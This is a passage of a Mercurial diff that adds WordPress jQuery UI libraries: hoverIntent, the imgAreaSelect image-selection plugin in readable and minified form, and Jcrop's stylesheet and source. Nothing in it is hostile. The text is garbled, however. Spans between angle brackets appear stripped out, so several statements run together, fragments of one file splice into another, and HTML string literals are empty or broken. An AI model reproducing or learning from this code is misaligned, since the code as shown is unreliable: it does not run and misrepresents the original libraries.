(ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );} + + // else e.type == "onmouseout" + } else { + // unbind expensive mousemove event + $(ob).unbind("mousemove",track); + // if hoverIntent state is true, then call the mouseOut function after the specified delay + if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );} + } + }; + + // bind the function to the two event listeners + return this.mouseover(handleHover).mouseout(handleHover); + }; +})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/hoverIntent.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/hoverIntent.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(a){a.fn.hoverIntent=function(l,j){var m={sensitivity:7,interval:100,timeout:0};m=a.extend(m,j?{over:l,out:j}:l);var o,n,h,d;var e=function(f){o=f.pageX;n=f.pageY};var c=function(g,f){f.hoverIntent_t=clearTimeout(f.hoverIntent_t);if((Math.abs(h-o)+Math.abs(d-n))'); +} + +$.imgAreaSelect = function (img, options) { + var + + $img = $(img), + + imgLoaded, + + $box = div(), + $area = div(), + $border = div().add(div()).add(div()).add(div()), + $outer = div().add(div()).add(div()).add(div()), + $handles = $([]), + + $areaOpera, + + left, top, + + imgOfs, + + imgWidth, imgHeight, + + $parent, + + parOfs, + + zIndex = 0, + + position = 'absolute', + + startX, startY, + + scaleX, scaleY, + + resizeMargin = 10, + + resize, + + aspectRatio, + + shown, + + x1, y1, x2, y2, + + selection = { x1: 0, y1: 0, x2: 0, y2: 0, width: 0, height: 0 }, + + $p, d, i, o, w, h, adjusted; + + function viewX(x) { + return x + imgOfs.left - parOfs.left; + } + + function viewY(y) { + return y + imgOfs.top - parOfs.top; + } + + function selX(x) { + return x - imgOfs.left + parOfs.left; + } + + function selY(y) { + return y - imgOfs.top + parOfs.top; + } + + function evX(event) { + return event.pageX - parOfs.left; + } + + function evY(event) { + return event.pageY - parOfs.top; + } + + function getSelection(noScale) { + var sx = noScale || scaleX, sy = noScale || scaleY; + + return { x1: round(selection.x1 * sx), + y1: round(selection.y1 * sy), + x2: round(selection.x2 * sx), + y2: round(selection.y2 * sy), + width: round(selection.x2 * sx) - round(selection.x1 * sx), + height: round(selection.y2 * sy) - round(selection.y1 * sy) }; + } + + function setSelection(x1, y1, x2, y2, noScale) { + var sx = noScale || scaleX, sy = noScale || scaleY; + + selection = { + x1: round(x1 / sx), + y1: round(y1 / sy), + x2: round(x2 / sx), + y2: round(y2 / sy) + }; + + selection.width = (x2 = viewX(selection.x2)) - (x1 = viewX(selection.x1)); + selection.height = (y2 = viewX(selection.y2)) - (y1 = viewX(selection.y1)); + } + + function adjust() { + if (!$img.width()) + return; + + imgOfs = { left: round($img.offset().left), top: round($img.offset().top) }; + + imgWidth = $img.width(); + imgHeight = $img.height(); + + if ($().jquery == '1.3.2' && $.browser.safari && position == 'fixed') { + imgOfs.top += max(document.documentElement.scrollTop, $('body').scrollTop()); + + imgOfs.left += max(document.documentElement.scrollLeft, $('body').scrollLeft()); + } + + parOfs = $.inArray($parent.css('position'), ['absolute', 'relative']) + 1 ? + { left: round($parent.offset().left) - $parent.scrollLeft(), + top: round($parent.offset().top) - $parent.scrollTop() } : + position == 'fixed' ? + { left: $(document).scrollLeft(), top: $(document).scrollTop() } : + { left: 0, top: 0 }; + + left = viewX(0); + top = viewY(0); + } + + function update(resetKeyPress) { + if (!shown) return; + + $box.css({ left: viewX(selection.x1), top: viewY(selection.y1) }) + .add($area).width(w = selection.width).height(h = selection.height); + + $area.add($border).add($handles).css({ left: 0, top: 0 }); + + $border + .width(max(w - $border.outerWidth() + $border.innerWidth(), 0)) + .height(max(h - $border.outerHeight() + $border.innerHeight(), 0)); + + $($outer[0]).css({ left: left, top: top, + width: selection.x1, height: imgHeight }); + $($outer[1]).css({ left: left + selection.x1, top: top, + width: w, height: selection.y1 }); + $($outer[2]).css({ left: left + selection.x2, top: top, + width: imgWidth - selection.x2, height: imgHeight }); + $($outer[3]).css({ left: left + selection.x1, top: top + selection.y2, + width: w, height: imgHeight - selection.y2 }); + + w -= $handles.outerWidth(); + h -= $handles.outerHeight(); + + switch ($handles.length) { + case 8: + $($handles[4]).css({ left: w / 2 }); + $($handles[5]).css({ left: w, top: h / 2 }); + $($handles[6]).css({ left: w / 2, top: h }); + $($handles[7]).css({ top: h / 2 }); + case 4: + $handles.slice(1,3).css({ left: w }); + $handles.slice(2,4).css({ top: h }); + } + + if (resetKeyPress !== false) { + if ($.imgAreaSelect.keyPress != docKeyPress) + $(document).unbind($.imgAreaSelect.keyPress, + $.imgAreaSelect.onKeyPress); + + if (options.keys) + $(document)[$.imgAreaSelect.keyPress]( + $.imgAreaSelect.onKeyPress = docKeyPress); + } + + if ($.browser.msie && $border.outerWidth() - $border.innerWidth() == 2) { + $border.css('margin', 0); + setTimeout(function () { $border.css('margin', 'auto'); }, 0); + } + } + + function doUpdate(resetKeyPress) { + adjust(); + update(resetKeyPress); + x1 = viewX(selection.x1); y1 = viewY(selection.y1); + x2 = viewX(selection.x2); y2 = viewY(selection.y2); + } + + function hide($elem, fn) { + options.fadeSpeed ? $elem.fadeOut(options.fadeSpeed, fn) : $elem.hide(); + + } + + function areaMouseMove(event) { + var x = selX(evX(event)) - selection.x1, + y = selY(evY(event)) - selection.y1; + + if (!adjusted) { + adjust(); + adjusted = true; + + $box.one('mouseout', function () { adjusted = false; }); + } + + resize = ''; + + if (options.resizable) { + if (y <= resizeMargin) + resize = 'n'; + else if (y >= selection.height - resizeMargin) + resize = 's'; + if (x <= resizeMargin) + resize += 'w'; + else if (x >= selection.width - resizeMargin) + resize += 'e'; + } + + $box.css('cursor', resize ? resize + '-resize' : + options.movable ? 'move' : ''); + if ($areaOpera) + $areaOpera.toggle(); + } + + function docMouseUp(event) { + $('body').css('cursor', ''); + + if (options.autoHide || selection.width * selection.height == 0) + hide($box.add($outer), function () { $(this).hide(); }); + + options.onSelectEnd(img, getSelection()); + + $(document).unbind('mousemove', selectingMouseMove); + $box.mousemove(areaMouseMove); + } + + function areaMouseDown(event) { + if (event.which != 1) return false; + + adjust(); + + if (resize) { + $('body').css('cursor', resize + '-resize'); + + x1 = viewX(selection[/w/.test(resize) ? 'x2' : 'x1']); + y1 = viewY(selection[/n/.test(resize) ? 'y2' : 'y1']); + + $(document).mousemove(selectingMouseMove) + .one('mouseup', docMouseUp); + $box.unbind('mousemove', areaMouseMove); + } + else if (options.movable) { + startX = left + selection.x1 - evX(event); + startY = top + selection.y1 - evY(event); + + $box.unbind('mousemove', areaMouseMove); + + $(document).mousemove(movingMouseMove) + .one('mouseup', function () { + options.onSelectEnd(img, getSelection()); + + $(document).unbind('mousemove', movingMouseMove); + $box.mousemove(areaMouseMove); + }); + } + else + $img.mousedown(event); + + return false; + } + + function aspectRatioXY() { + x2 = max(left, min(left + imgWidth, + x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1))); + + y2 = round(max(top, min(top + imgHeight, + y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1)))); + x2 = round(x2); + } + + function aspectRatioYX() { + y2 = max(top, min(top + imgHeight, + y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1))); + x2 = round(max(left, min(left + imgWidth, + x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1)))); + y2 = round(y2); + } + + function doResize() { + if (abs(x2 - x1) < options.minWidth) { + x2 = x1 - options.minWidth * (x2 < x1 || -1); + + if (x2 < left) + x1 = left + options.minWidth; + else if (x2 > left + imgWidth) + x1 = left + imgWidth - options.minWidth; + } + + if (abs(y2 - y1) < options.minHeight) { + y2 = y1 - options.minHeight * (y2 < y1 || -1); + + if (y2 < top) + y1 = top + options.minHeight; + else if (y2 > top + imgHeight) + y1 = top + imgHeight - options.minHeight; + } + + x2 = max(left, min(x2, left + imgWidth)); + y2 = max(top, min(y2, top + imgHeight)); + + if (aspectRatio) + if (abs(x2 - x1) / aspectRatio > abs(y2 - y1)) + aspectRatioYX(); + else + aspectRatioXY(); + + if (abs(x2 - x1) > options.maxWidth) { + x2 = x1 - options.maxWidth * (x2 < x1 || -1); + if (aspectRatio) aspectRatioYX(); + } + + if (abs(y2 - y1) > options.maxHeight) { + y2 = y1 - options.maxHeight * (y2 < y1 || -1); + if (aspectRatio) aspectRatioXY(); + } + + selection = { x1: selX(min(x1, x2)), x2: selX(max(x1, x2)), + y1: selY(min(y1, y2)), y2: selY(max(y1, y2)), + width: abs(x2 - x1), height: abs(y2 - y1) }; + + update(); + + options.onSelectChange(img, getSelection()); + } + + function selectingMouseMove(event) { + x2 = resize == '' || /w|e/.test(resize) || aspectRatio ? evX(event) : viewX(selection.x2); + y2 = resize == '' || /n|s/.test(resize) || aspectRatio ? evY(event) : viewY(selection.y2); + + doResize(); + + return false; + + } + + function doMove(newX1, newY1) { + x2 = (x1 = newX1) + selection.width; + y2 = (y1 = newY1) + selection.height; + + selection = $.extend(selection, { x1: selX(x1), y1: selY(y1), + x2: selX(x2), y2: selY(y2) }); + + update(); + + options.onSelectChange(img, getSelection()); + } + + function movingMouseMove(event) { + x1 = max(left, min(startX + evX(event), left + imgWidth - selection.width)); + y1 = max(top, min(startY + evY(event), top + imgHeight - selection.height)); + + doMove(x1, y1); + + event.preventDefault(); + + return false; + } + + function startSelection() { + adjust(); + + x2 = x1; + y2 = y1; + + doResize(); + + resize = ''; + + if ($outer.is(':not(:visible)')) + $box.add($outer).hide().fadeIn(options.fadeSpeed||0); + + shown = true; + + $(document).unbind('mouseup', cancelSelection) + .mousemove(selectingMouseMove).one('mouseup', docMouseUp); + $box.unbind('mousemove', areaMouseMove); + + options.onSelectStart(img, getSelection()); + } + + function cancelSelection() { + $(document).unbind('mousemove', startSelection); + hide($box.add($outer)); + + selection = { x1: selX(x1), y1: selY(y1), x2: selX(x1), y2: selY(y1), + width: 0, height: 0 }; + + options.onSelectChange(img, getSelection()); + options.onSelectEnd(img, getSelection()); + } + + function imgMouseDown(event) { + if (event.which != 1 || $outer.is(':animated')) return false; + + adjust(); + startX = x1 = evX(event); + startY = y1 = evY(event); + + $(document).one('mousemove', startSelection) + .one('mouseup', cancelSelection); + + return false; + } + + function parentScroll() { + doUpdate(false); + } + + function imgLoad() { + imgLoaded = true; + + setOptions(options = $.extend({ + classPrefix: 'imgareaselect', + movable: true, + resizable: true, + parent: 'body', + onInit: function () {}, + onSelectStart: function () {}, + onSelectChange: function () {}, + onSelectEnd: function () {} + }, options)); + + $box.add($outer).css({ visibility: '' }); + + if (options.show) { + shown = true; + adjust(); + update(); + $box.add($outer).hide().fadeIn(options.fadeSpeed||0); + } + + setTimeout(function () { options.onInit(img, getSelection()); }, 0); + } + + var docKeyPress = function(event) { + var k = options.keys, d, t, key = event.keyCode || event.which; + + d = !isNaN(k.alt) && (event.altKey || event.originalEvent.altKey) ? k.alt : + !isNaN(k.ctrl) && event.ctrlKey ? k.ctrl : + !isNaN(k.shift) && event.shiftKey ? k.shift : + !isNaN(k.arrows) ? k.arrows : 10; + + if (k.arrows == 'resize' || (k.shift == 'resize' && event.shiftKey) || + (k.ctrl == 'resize' && event.ctrlKey) || + (k.alt == 'resize' && (event.altKey || event.originalEvent.altKey))) + { + switch (key) { + case 37: + d = -d; + case 39: + t = max(x1, x2); + x1 = min(x1, x2); + x2 = max(t + d, x1); + if (aspectRatio) aspectRatioYX(); + break; + case 38: + d = -d; + case 40: + t = max(y1, y2); + y1 = min(y1, y2); + y2 = max(t + d, y1); + if (aspectRatio) aspectRatioXY(); + break; + default: + return; + } + + doResize(); + } + else { + x1 = min(x1, x2); + y1 = min(y1, y2); + + switch (key) { + case 37: + doMove(max(x1 - d, left), y1); + break; + case 38: + doMove(x1, max(y1 - d, top)); + break; + case 39: + doMove(x1 + min(d, imgWidth - selX(x2)), y1); + break; + case 40: + doMove(x1, y1 + min(d, imgHeight - selY(y2))); + break; + default: + return; + } + } + + return false; + }; + + function styleOptions($elem, props) { + for (option in props) + if (options[option] !== undefined) + $elem.css(props[option], options[option]); + } + + function setOptions(newOptions) { + if (newOptions.parent) + ($parent = $(newOptions.parent)).append($box.add($outer)); + + options = $.extend(options, newOptions); + + adjust(); + + if (newOptions.handles != null) { + $handles.remove(); + $handles = $([]); + + i = newOptions.handles ? newOptions.handles == 'corners' ? 4 : 8 : 0; + + while (i--) + $handles = $handles.add(div()); + + $handles.addClass(options.classPrefix + '-handle').css({ + position: 'absolute', + fontSize: 0, + zIndex: zIndex + 1 || 1 + }); + + if (!parseInt($handles.css('width'))) + $handles.width(5).height(5); + + if (o = options.borderWidth) + $handles.css({ borderWidth: o, borderStyle: 'solid' }); + + styleOptions($handles, { borderColor1: 'border-color', + borderColor2: 'background-color', + borderOpacity: 'opacity' }); + } + + scaleX = options.imageWidth / imgWidth || 1; + scaleY = options.imageHeight / imgHeight || 1; + + if (newOptions.x1 != null) { + setSelection(newOptions.x1, newOptions.y1, newOptions.x2, + newOptions.y2); + newOptions.show = !newOptions.hide; + } + + if (newOptions.keys) + options.keys = $.extend({ shift: 1, ctrl: 'resize' }, + newOptions.keys); + + $outer.addClass(options.classPrefix + '-outer'); + $area.addClass(options.classPrefix + '-selection'); + for (i = 0; i++ < 4;) + $($border[i-1]).addClass(options.classPrefix + '-border' + i); + + styleOptions($area, { selectionColor: 'background-color', + selectionOpacity: 'opacity' }); + styleOptions($border, { borderOpacity: 'opacity', + borderWidth: 'border-width' }); + styleOptions($outer, { outerColor: 'background-color', + outerOpacity: 'opacity' }); + if (o = options.borderColor1) + $($border[0]).css({ borderStyle: 'solid', borderColor: o }); + if (o = options.borderColor2) + $($border[1]).css({ borderStyle: 'dashed', borderColor: o }); + + $box.append($area.add($border).add($handles).add($areaOpera)); + + if ($.browser.msie) { + if (o = $outer.css('filter').match(/opacity=([0-9]+)/)) + $outer.css('opacity', o[1]/100); + if (o = $border.css('filter').match(/opacity=([0-9]+)/)) + $border.css('opacity', o[1]/100); + } + + if (newOptions.hide) + hide($box.add($outer)); + else if (newOptions.show && imgLoaded) { + shown = true; + $box.add($outer).fadeIn(options.fadeSpeed||0); + doUpdate(); + } + + aspectRatio = (d = (options.aspectRatio || '').split(/:/))[0] / d[1]; + + if (options.disable || options.enable === false) { + $box.unbind('mousemove', areaMouseMove).unbind('mousedown', areaMouseDown); + $img.add($outer).unbind('mousedown', imgMouseDown); + $(window).unbind('resize', parentScroll); + $img.add($img.parents()).unbind('scroll', parentScroll); + } + else if (options.enable || options.disable === false) { + if (options.resizable || options.movable) + $box.mousemove(areaMouseMove).mousedown(areaMouseDown); + + if (!options.persistent) + $img.add($outer).mousedown(imgMouseDown); + $(window).resize(parentScroll); + $img.add($img.parents()).scroll(parentScroll); + } + + options.enable = options.disable = undefined; + } + + this.getOptions = function () { return options; }; + + this.setOptions = setOptions; + + this.getSelection = getSelection; + + this.setSelection = setSelection; + + this.update = doUpdate; + + $p = $img; + + while ($p.length && !$p.is('body')) { + if (!isNaN($p.css('z-index')) && $p.css('z-index') > zIndex) + zIndex = $p.css('z-index'); + if ($p.css('position') == 'fixed') + position = 'fixed'; + + $p = $p.parent(); + } + + if (!isNaN(options.zIndex)) + zIndex = options.zIndex; + + if ($.browser.msie) + $img.attr('unselectable', 'on'); + + $.imgAreaSelect.keyPress = $.browser.msie || + $.browser.safari ? 'keydown' : 'keypress'; + + if ($.browser.opera) + $areaOpera = div().css({ width: '100%', height: '100%', + position: 'absolute', zIndex: zIndex + 2 || 2 }); + + $box.add($outer).css({ visibility: 'hidden', position: position, + overflow: 'hidden', zIndex: zIndex || '0' }); + $box.css({ zIndex: zIndex + 2 || 2 }); + $area.add($border).css({ position: 'absolute' }); + + img.complete || img.readyState == 'complete' || !$img.is('img') ? + imgLoad() : $img.one('load', imgLoad); + +}; + +$.fn.imgAreaSelect = function (options) { + options = options || {}; + + this.each(function () { + if ($(this).data('imgAreaSelect')) + $(this).data('imgAreaSelect').setOptions(options); + else { + if (options.enable === undefined && options.disable === undefined) + options.enable = true; + + $(this).data('imgAreaSelect', new $.imgAreaSelect(this, options)); + } + }); + + if (options.instance) + return $(this).data('imgAreaSelect'); + + return this; +}; + +})(jQuery); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/imgareaselect/jquery.imgareaselect.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/imgareaselect/jquery.imgareaselect.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function($){var abs=Math.abs,max=Math.max,min=Math.min,round=Math.round;function div(){return $('
    ')}$.imgAreaSelect=function(img,options){var $img=$(img),imgLoaded,$box=div(),$area=div(),$border=div().add(div()).add(div()).add(div()),$outer=div().add(div()).add(div()).add(div()),$handles=$([]),$areaOpera,left,top,imgOfs,imgWidth,imgHeight,$parent,parOfs,zIndex=0,position='absolute',startX,startY,scaleX,scaleY,resizeMargin=10,resize,aspectRatio,shown,x1,y1,x2,y2,selection={x1:0,y1:0,x2:0,y2:0,width:0,height:0},$p,d,i,o,w,h,adjusted;function viewX(x){return x+imgOfs.left-parOfs.left}function viewY(y){return y+imgOfs.top-parOfs.top}function selX(x){return x-imgOfs.left+parOfs.left}function selY(y){return y-imgOfs.top+parOfs.top}function evX(event){return event.pageX-parOfs.left}function evY(event){return event.pageY-parOfs.top}function getSelection(noScale){var sx=noScale||scaleX,sy=noScale||scaleY;return{x1:round(selection.x1*sx),y1:round(selection.y1*sy),x2:round(selection.x2*sx),y2:round(selection.y2*sy),width:round(selection.x2*sx)-round(selection.x1*sx),height:round(selection.y2*sy)-round(selection.y1*sy)}}function setSelection(x1,y1,x2,y2,noScale){var sx=noScale||scaleX,sy=noScale||scaleY;selection={x1:round(x1/sx),y1:round(y1/sy),x2:round(x2/sx),y2:round(y2/sy)};selection.width=(x2=viewX(selection.x2))-(x1=viewX(selection.x1));selection.height=(y2=viewX(selection.y2))-(y1=viewX(selection.y1))}function adjust(){if(!$img.width())return;imgOfs={left:round($img.offset().left),top:round($img.offset().top)};imgWidth=$img.width();imgHeight=$img.height();if($().jquery=='1.3.2'&&$.browser.safari&&position=='fixed'){imgOfs.top+=max(document.documentElement.scrollTop,$('body').scrollTop());imgOfs.left+=max(document.documentElement.scrollLeft,$('body').scrollLeft())}parOfs=$.inArray($parent.css('position'),['absolute','relative'])+1?{left:round($parent.offset().left)-$parent.scrollLeft(),top:round($parent.offset().top)-$parent.scrollTop()}:position=='fixed'?{left:$(document).scrollLeft(),top:$(document).scrollTop()}:{left:0,top:0};left=viewX(0);top=viewY(0)}function update(resetKeyPress){if(!shown)return;$box.css({left:viewX(selection.x1),top:viewY(selection.y1)}).add($area).width(w=selection.width).height(h=selection.height);$area.add($border).add($handles).css({left:0,top:0});$border.width(max(w-$border.outerWidth()+$border.innerWidth(),0)).height(max(h-$border.outerHeight()+$border.innerHeight(),0));$($outer[0]).css({left:left,top:top,width:selection.x1,height:imgHeight});$($outer[1]).css({left:left+selection.x1,top:top,width:w,height:selection.y1});$($outer[2]).css({left:left+selection.x2,top:top,width:imgWidth-selection.x2,height:imgHeight});$($outer[3]).css({left:left+selection.x1,top:top+selection.y2,width:w,height:imgHeight-selection.y2});w-=$handles.outerWidth();h-=$handles.outerHeight();switch($handles.length){case 8:$($handles[4]).css({left:w/2});$($handles[5]).css({left:w,top:h/2});$($handles[6]).css({left:w/2,top:h});$($handles[7]).css({top:h/2});case 4:$handles.slice(1,3).css({left:w});$handles.slice(2,4).css({top:h})}if(resetKeyPress!==false){if($.imgAreaSelect.keyPress!=docKeyPress)$(document).unbind($.imgAreaSelect.keyPress,$.imgAreaSelect.onKeyPress);if(options.keys)$(document)[$.imgAreaSelect.keyPress]($.imgAreaSelect.onKeyPress=docKeyPress)}if($.browser.msie&&$border.outerWidth()-$border.innerWidth()==2){$border.css('margin',0);setTimeout(function(){$border.css('margin','auto')},0)}}function doUpdate(resetKeyPress){adjust();update(resetKeyPress);x1=viewX(selection.x1);y1=viewY(selection.y1);x2=viewX(selection.x2);y2=viewY(selection.y2)}function hide($elem,fn){options.fadeSpeed?$elem.fadeOut(options.fadeSpeed,fn):$elem.hide()}function areaMouseMove(event){var x=selX(evX(event))-selection.x1,y=selY(evY(event))-selection.y1;if(!adjusted){adjust();adjusted=true;$box.one('mouseout',function(){adjusted=false})}resize='';if(options.resizable){if(y<=resizeMargin)resize='n';else if(y>=selection.height-resizeMargin)resize='s';if(x<=resizeMargin)resize+='w';else if(x>=selection.width-resizeMargin)resize+='e'}$box.css('cursor',resize?resize+'-resize':options.movable?'move':'');if($areaOpera)$areaOpera.toggle()}function docMouseUp(event){$('body').css('cursor','');if(options.autoHide||selection.width*selection.height==0)hide($box.add($outer),function(){$(this).hide()});options.onSelectEnd(img,getSelection());$(document).unbind('mousemove',selectingMouseMove);$box.mousemove(areaMouseMove)}function areaMouseDown(event){if(event.which!=1)return false;adjust();if(resize){$('body').css('cursor',resize+'-resize');x1=viewX(selection[/w/.test(resize)?'x2':'x1']);y1=viewY(selection[/n/.test(resize)?'y2':'y1']);$(document).mousemove(selectingMouseMove).one('mouseup',docMouseUp);$box.unbind('mousemove',areaMouseMove)}else if(options.movable){startX=left+selection.x1-evX(event);startY=top+selection.y1-evY(event);$box.unbind('mousemove',areaMouseMove);$(document).mousemove(movingMouseMove).one('mouseup',function(){options.onSelectEnd(img,getSelection());$(document).unbind('mousemove',movingMouseMove);$box.mousemove(areaMouseMove)})}else $img.mousedown(event);return false}function aspectRatioXY(){x2=max(left,min(left+imgWidth,x1+abs(y2-y1)*aspectRatio*(x2>x1||-1)));y2=round(max(top,min(top+imgHeight,y1+abs(x2-x1)/aspectRatio*(y2>y1||-1))));x2=round(x2)}function aspectRatioYX(){y2=max(top,min(top+imgHeight,y1+abs(x2-x1)/aspectRatio*(y2>y1||-1)));x2=round(max(left,min(left+imgWidth,x1+abs(y2-y1)*aspectRatio*(x2>x1||-1))));y2=round(y2)}function doResize(){if(abs(x2-x1)left+imgWidth)x1=left+imgWidth-options.minWidth}if(abs(y2-y1)top+imgHeight)y1=top+imgHeight-options.minHeight}x2=max(left,min(x2,left+imgWidth));y2=max(top,min(y2,top+imgHeight));if(aspectRatio)if(abs(x2-x1)/aspectRatio>abs(y2-y1))aspectRatioYX();else aspectRatioXY();if(abs(x2-x1)>options.maxWidth){x2=x1-options.maxWidth*(x2options.maxHeight){y2=y1-options.maxHeight*(y2zIndex)zIndex=$p.css('z-index');if($p.css('position')=='fixed')position='fixed';$p=$p.parent()}if(!isNaN(options.zIndex))zIndex=options.zIndex;if($.browser.msie)$img.attr('unselectable','on');$.imgAreaSelect.keyPress=$.browser.msie||$.browser.safari?'keydown':'keypress';if($.browser.opera)$areaOpera=div().css({width:'100%',height:'100%',position:'absolute',zIndex:zIndex+2||2});$box.add($outer).css({visibility:'hidden',position:position,overflow:'hidden',zIndex:zIndex||'0'});$box.css({zIndex:zIndex+2||2});$area.add($border).css({position:'absolute'});img.complete||img.readyState=='complete'||!$img.is('img')?imgLoad():$img.one('load',imgLoad)};$.fn.imgAreaSelect=function(options){options=options||{};this.each(function(){if($(this).data('imgAreaSelect'))$(this).data('imgAreaSelect').setOptions(options);else{if(options.enable===undefined&&options.disable===undefined)options.enable=true;$(this).data('imgAreaSelect',new $.imgAreaSelect(this,options))}});if(options.instance)return $(this).data('imgAreaSelect');return this}})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/jcrop/Jcrop.gif Binary file web/wp-includes/js/jcrop/Jcrop.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/jcrop/jquery.Jcrop.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/jcrop/jquery.Jcrop.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,35 @@ +/* Fixes issue here http://code.google.com/p/jcrop/issues/detail?id=1 */ +.jcrop-holder { text-align: left; } + +.jcrop-vline, .jcrop-hline +{ + font-size: 0; + position: absolute; + background: white url('Jcrop.gif') top left repeat; +} +.jcrop-vline { height: 100%; width: 1px !important; } +.jcrop-hline { width: 100%; height: 1px !important; } +.jcrop-handle { + font-size: 1px; + width: 7px !important; + height: 7px !important; + border: 1px #eee solid; + background-color: #333; + *width: 9px; + *height: 9px; +} + +.jcrop-tracker { width: 100%; height: 100%; } + +.custom .jcrop-vline, +.custom .jcrop-hline +{ + background: yellow; +} +.custom .jcrop-handle +{ + border-color: black; + background-color: #C7BB00; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/jcrop/jquery.Jcrop.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/jcrop/jquery.Jcrop.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1197 @@ +/** + * jquery.Jcrop.js v0.9.8 + * jQuery Image Cropping Plugin + * @author Kelly Hallman + * Copyright (c) 2008-2009 Kelly Hallman - released under MIT License {{{ + * + * Permission is hereby granted, free of charge, to any person + * obtaining a copy of this software and associated documentation + * files (the "Software"), to deal in the Software without + * restriction, including without limitation the rights to use, + * copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the + * Software is furnished to do so, subject to the following + * conditions: + + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES + * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT + * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, + * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR + * OTHER DEALINGS IN THE SOFTWARE. + + * }}} + */ + +(function($) { + +$.Jcrop = function(obj,opt) +{ + // Initialization {{{ + + // Sanitize some options {{{ + var obj = obj, opt = opt; + + if (typeof(obj) !== 'object') obj = $(obj)[0]; + if (typeof(opt) !== 'object') opt = { }; + + // Some on-the-fly fixes for MSIE...sigh + if (!('trackDocument' in opt)) + { + opt.trackDocument = $.browser.msie ? false : true; + if ($.browser.msie && $.browser.version.split('.')[0] == '8') + opt.trackDocument = true; + } + + if (!('keySupport' in opt)) + opt.keySupport = $.browser.msie ? false : true; + + // }}} + // Extend the default options {{{ + var defaults = { + + // Basic Settings + trackDocument: false, + baseClass: 'jcrop', + addClass: null, + + // Styling Options + bgColor: 'black', + bgOpacity: .6, + borderOpacity: .4, + handleOpacity: .5, + + handlePad: 5, + handleSize: 9, + handleOffset: 5, + edgeMargin: 14, + + aspectRatio: 0, + keySupport: true, + cornerHandles: true, + sideHandles: true, + drawBorders: true, + dragEdges: true, + + boxWidth: 0, + boxHeight: 0, + + boundary: 8, + animationDelay: 20, + swingSpeed: 3, + + allowSelect: true, + allowMove: true, + allowResize: true, + + minSelect: [ 0, 0 ], + maxSize: [ 0, 0 ], + minSize: [ 0, 0 ], + + // Callbacks / Event Handlers + onChange: function() { }, + onSelect: function() { } + + }; + var options = defaults; + setOptions(opt); + + // }}} + // Initialize some jQuery objects {{{ + + var $origimg = $(obj); + var $img = $origimg.clone().removeAttr('id').css({ position: 'absolute' }); + + $img.width($origimg.width()); + $img.height($origimg.height()); + $origimg.after($img).hide(); + + presize($img,options.boxWidth,options.boxHeight); + + var boundx = $img.width(), + boundy = $img.height(), + + $div = $('
    ') + .width(boundx).height(boundy) + .addClass(cssClass('holder')) + .css({ + position: 'relative', + backgroundColor: options.bgColor + }).insertAfter($origimg).append($img); + ; + + if (options.addClass) $div.addClass(options.addClass); + //$img.wrap($div); + + var $img2 = $('')/*{{{*/ + .attr('src',$img.attr('src')) + .css('position','absolute') + .width(boundx).height(boundy) + ;/*}}}*/ + var $img_holder = $('
    ')/*{{{*/ + .width(pct(100)).height(pct(100)) + .css({ + zIndex: 310, + position: 'absolute', + overflow: 'hidden' + }) + .append($img2) + ;/*}}}*/ + var $hdl_holder = $('
    ')/*{{{*/ + .width(pct(100)).height(pct(100)) + .css('zIndex',320); + /*}}}*/ + var $sel = $('
    ')/*{{{*/ + .css({ + position: 'absolute', + zIndex: 300 + }) + .insertBefore($img) + .append($img_holder,$hdl_holder) + ;/*}}}*/ + + var bound = options.boundary; + var $trk = newTracker().width(boundx+(bound*2)).height(boundy+(bound*2)) + .css({ position: 'absolute', top: px(-bound), left: px(-bound), zIndex: 290 }) + .mousedown(newSelection); + + /* }}} */ + // Set more variables {{{ + + var xlimit, ylimit, xmin, ymin; + var xscale, yscale, enabled = true; + var docOffset = getPos($img), + // Internal states + btndown, lastcurs, dimmed, animating, + shift_down; + + // }}} + + + // }}} + // Internal Modules {{{ + + var Coords = function()/*{{{*/ + { + var x1 = 0, y1 = 0, x2 = 0, y2 = 0, ox, oy; + + function setPressed(pos)/*{{{*/ + { + var pos = rebound(pos); + x2 = x1 = pos[0]; + y2 = y1 = pos[1]; + }; + /*}}}*/ + function setCurrent(pos)/*{{{*/ + { + var pos = rebound(pos); + ox = pos[0] - x2; + oy = pos[1] - y2; + x2 = pos[0]; + y2 = pos[1]; + }; + /*}}}*/ + function getOffset()/*{{{*/ + { + return [ ox, oy ]; + }; + /*}}}*/ + function moveOffset(offset)/*{{{*/ + { + var ox = offset[0], oy = offset[1]; + + if (0 > 